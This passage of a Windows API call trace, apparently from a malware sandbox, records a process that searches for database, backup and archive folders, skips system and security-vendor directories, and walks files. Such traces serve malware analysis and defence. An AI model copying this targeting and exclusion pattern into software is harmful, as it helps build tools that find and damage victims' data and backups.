GlobalLock (hMem=0x440004) returned 0x550170 [0059.070] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.070] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.070] GlobalUnlock (hMem=0x440004) returned 0 [0059.070] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.070] GlobalUnlock (hMem=0x44000c) returned 0 [0059.070] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8d0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@쒠R쑴R企@\x18䃄Q\x18\x1b")) returned 0xffffffff [0059.073] GetLastError () returned 0x3 [0059.073] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.073] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0059.073] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0059.073] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8d0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="壼U䱠@쏬R企@\x18䄌Q\x181")) returned 0xffffffff [0059.075] GetLastError () returned 0x2 [0059.075] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.075] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0059.075] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 9 [0059.075] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8d0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="壼U䱠@뾴R企@\x18?T\x18;")) returned 0xffffffff [0059.076] GetLastError () returned 0x2 [0059.076] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.077] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0059.077] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 8 [0059.077] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8d0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="壼U䱠@쏬R企@\x18?T\x18D")) returned 0xffffffff [0059.078] GetLastError () returned 0x2 [0059.078] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.078] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0059.078] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\眵?\x18") returned 37 [0059.079] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8d0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="壼U䱠@뾴R企@\x18塤U\x18j")) returned 0xffffffff [0059.080] GetLastError () returned 0x2 [0059.080] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.080] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0059.080] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\眵?\x18") returned 6 [0059.080] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8d0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="壼U䱠@ꜤR企@\x18?T\x18q")) returned 0xffffffff [0059.082] GetLastError () returned 0x2 [0059.082] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\塠Up") returned 6 [0059.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\眵?\x18") returned 7 [0059.082] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8d0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="壼U䱠@妔U企@\x18?T\x18y")) returned 0xffffffff [0059.084] GetLastError () returned 0x2 [0059.084] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.084] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0059.084] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\眵?\x18") returned 7 [0059.084] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8d0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="壼U䱠@쏬R企@\x18?T\x18\x81")) returned 0xffffffff [0059.085] GetLastError () returned 0x2 [0059.086] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.086] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0059.086] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\眵?\x18") returned 6 [0059.086] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8d0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="壼U䱠@ꜤR企@\x18?T\x18\x88")) returned 0xffffffff [0059.087] GetLastError () returned 0x2 [0059.087] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0059.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\眵?\x18") returned 6 [0059.088] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8d0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="壼U䱠@妔U企@\x18?T\x18\x8f")) returned 0xffffffff [0059.089] GetLastError () returned 0x2 [0059.089] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.089] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0059.089] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\眵?\x18") returned 7 [0059.089] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8d0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="壼U䱠@쏬R企@\x18?T\x18\x97")) returned 0xffffffff [0059.091] GetLastError () returned 0x2 [0059.091] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.091] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0059.091] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.091] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.091] GlobalUnlock (hMem=0x44000c) returned 0 [0059.091] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.091] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.091] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.091] GlobalUnlock (hMem=0x44000c) returned 0 [0059.091] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.091] GlobalUnlock (hMem=0x440004) returned 0 [0059.091] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.091] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0059.091] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0059.092] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.092] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0059.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0059.092] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.092] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0059.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0059.092] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.092] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0059.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a938, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0059.093] GlobalLock (hMem=0x440004) returned 0x550170 [0059.093] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.093] GlobalUnlock (hMem=0x440004) returned 0 [0059.093] GlobalLock (hMem=0x440004) returned 0x550170 [0059.093] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.093] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.093] GlobalUnlock (hMem=0x440004) returned 0 [0059.093] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.093] GlobalUnlock (hMem=0x44000c) returned 0 [0059.093] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.093] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0059.093] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.093] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0059.093] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.093] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0059.094] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.094] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0059.094] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.094] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0059.094] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.094] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0059.094] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.094] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0059.095] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.095] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0059.095] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\") returned 0x44 [0059.095] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0059.095] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.095] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.095] GlobalUnlock (hMem=0x44000c) returned 0 [0059.095] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.095] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.095] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.095] GlobalUnlock (hMem=0x44000c) returned 0 [0059.095] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.095] GlobalUnlock (hMem=0x440004) returned 0 [0059.095] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0059.096] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.096] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0059.096] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0059.096] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0059.096] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.096] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.096] GlobalUnlock (hMem=0x440004) returned 0 [0059.096] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.097] GlobalLock (hMem=0x44000c) returned 0x559b88 [0059.097] GlobalHandle 